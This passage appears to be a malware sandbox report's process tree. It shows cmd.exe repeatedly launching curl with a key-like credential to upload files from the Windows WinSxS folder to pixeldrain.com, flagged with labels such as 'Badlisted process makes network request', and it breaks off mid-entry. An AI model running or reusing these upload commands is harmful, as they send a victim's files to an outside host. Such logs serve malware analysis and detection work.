  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\EarbudsSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-EarbudsSystemToastIcon.contrast-white.png-07-11-2026--13.56.44.png
  2⤵
  PID:3412
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\EarbudsSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-EarbudsSystemToastIcon.contrast-white.png-07-11-2026--13.56.44.png
    3⤵
    PID:5028
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\EarbudsSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-EarbudsSystemToastIcon.png-07-11-2026--13.56.44.png
  2⤵
  PID:2368
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\EarbudsSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-EarbudsSystemToastIcon.png-07-11-2026--13.56.44.png
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2712
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\GameSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-GameSystemToastIcon.contrast-white.png-07-11-2026--13.56.44.png
  2⤵
  PID:1520
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\GameSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-GameSystemToastIcon.contrast-white.png-07-11-2026--13.56.44.png
    3⤵
    PID:4408
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\GameSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-GameSystemToastIcon.png-07-11-2026--13.56.44.png
  2⤵
  PID:3596
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\GameSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-GameSystemToastIcon.png-07-11-2026--13.56.44.png
    3⤵
    PID:580
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HandwritingSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HandwritingSystemToastIcon.contrast-white.png-07-11-2026--13.56.45.png
  2⤵
  PID:5296
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HandwritingSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HandwritingSystemToastIcon.contrast-white.png-07-11-2026--13.56.45.png
    3⤵
    PID:4872
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HandwritingSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HandwritingSystemToastIcon.png-07-11-2026--13.56.45.png
  2⤵
  PID:4688
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HandwritingSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HandwritingSystemToastIcon.png-07-11-2026--13.56.45.png
    3⤵
    PID:2708
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HeadphoneSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HeadphoneSystemToastIcon.contrast-white.png-07-11-2026--13.56.45.png
  2⤵
  PID:1892
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HeadphoneSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HeadphoneSystemToastIcon.contrast-white.png-07-11-2026--13.56.45.png
    3⤵
    PID:5512
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HeadphoneSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HeadphoneSystemToastIcon.png-07-11-2026--13.56.45.png
  2⤵
  PID:4744
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HeadphoneSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HeadphoneSystemToastIcon.png-07-11-2026--13.56.45.png
    3⤵
    PID:1180
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HeadsetSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HeadsetSystemToastIcon.contrast-white.png-07-11-2026--13.56.46.png
  2⤵
  PID:1616
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6028
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HeadsetSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HeadsetSystemToastIcon.contrast-white.png-07-11-2026--13.56.46.png
    3⤵
    PID:2988
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HeadsetSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HeadsetSystemToastIcon.png-07-11-2026--13.56.46.png
  2⤵
  PID:760
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HeadsetSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HeadsetSystemToastIcon.png-07-11-2026--13.56.46.png
    3⤵
    PID:240
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HealthSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HealthSystemToastIcon.contrast-white.png-07-11-2026--13.56.46.png
  2⤵
  PID:260
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HealthSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HealthSystemToastIcon.contrast-white.png-07-11-2026--13.56.46.png
    3⤵
    - Badlisted process makes network request
    PID:3416
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HealthSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HealthSystemToastIcon.png-07-11-2026--13.56.46.png
  2⤵
  PID:5088
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HealthSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HealthSystemToastIcon.png-07-11-2026--13.56.46.png
    3⤵
    PID:4244
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HearingAidSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HearingAidSystemToastIcon.contrast-white.png-07-11-2026--13.56.47.png
  2⤵
  PID:1228
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HearingAidSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HearingAidSystemToastIcon.contrast-white.png-07-11-2026--13.56.47.png
    3⤵
    PID:3380
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HearingAidSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HearingAidSystemToastIcon.png-07-11-2026--13.56.47.png
  2⤵
  PID:3996
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\HearingAidSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-HearingAidSystemToastIcon.png-07-11-2026--13.56.47.png
    3⤵
    PID:4492
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\InputSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-InputSystemToastIcon.contrast-white.png-07-11-2026--13.56.47.png
  2⤵
  PID:4736
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\InputSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-InputSystemToastIcon.contrast-white.png-07-11-2026--13.56.47.png
    3⤵
    - Badlisted process makes network request
    PID:2632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\InputSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-InputSystemToastIcon.png-07-11-2026--13.56.48.png
  2⤵
  PID:5572
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\InputSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-InputSystemToastIcon.png-07-11-2026--13.56.48.png
    3⤵
    PID:3284
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\KeyboardSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-KeyboardSystemToastIcon.contrast-white.png-07-11-2026--13.56.48.png
  2⤵
  PID:3908
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\KeyboardSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-KeyboardSystemToastIcon.contrast-white.png-07-11-2026--13.56.48.png
    3⤵
    PID:4476
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\KeyboardSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-KeyboardSystemToastIcon.png-07-11-2026--13.56.48.png
  2⤵
  PID:3576
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\KeyboardSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-KeyboardSystemToastIcon.png-07-11-2026--13.56.48.png
    3⤵
    PID:2796
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\LowBatterySystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-LowBatterySystemToastIcon.contrast-white.png-07-11-2026--13.56.48.png
  2⤵
  PID:1820
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\LowBatterySystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-LowBatterySystemToastIcon.contrast-white.png-07-11-2026--13.56.48.png
    3⤵
    PID:4316
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\LowBatterySystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-LowBatterySystemToastIcon.png-07-11-2026--13.56.49.png
  2⤵
  PID:2156
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\LowBatterySystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-LowBatterySystemToastIcon.png-07-11-2026--13.56.49.png
    3⤵
    PID:1064
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\MediaSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-MediaSystemToastIcon.contrast-white.png-07-11-2026--13.56.49.png
  2⤵
  PID:4728
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\MediaSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-MediaSystemToastIcon.contrast-white.png-07-11-2026--13.56.49.png
    3⤵
    PID:5028
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\MediaSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-MediaSystemToastIcon.png-07-11-2026--13.56.49.png
  2⤵
  PID:5384
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\MediaSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-MediaSystemToastIcon.png-07-11-2026--13.56.49.png
    3⤵
    PID:2712
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\MouseSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-MouseSystemToastIcon.contrast-white.png-07-11-2026--13.56.49.png
  2⤵
  - Executes a command shell one-liner
  PID:5604
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\MouseSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-MouseSystemToastIcon.contrast-white.png-07-11-2026--13.56.49.png
    3⤵
    PID:1908
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\MouseSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-MouseSystemToastIcon.png-07-11-2026--13.56.50.png
  2⤵
  PID:5764
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\MouseSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-MouseSystemToastIcon.png-07-11-2026--13.56.50.png
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1324
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\PhoneSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-PhoneSystemToastIcon.contrast-white.png-07-11-2026--13.56.50.png
  2⤵
  PID:3216
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\PhoneSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-PhoneSystemToastIcon.contrast-white.png-07-11-2026--13.56.50.png
    3⤵
    PID:3960
- C:\Windows\SysWOW64\cmd.exe
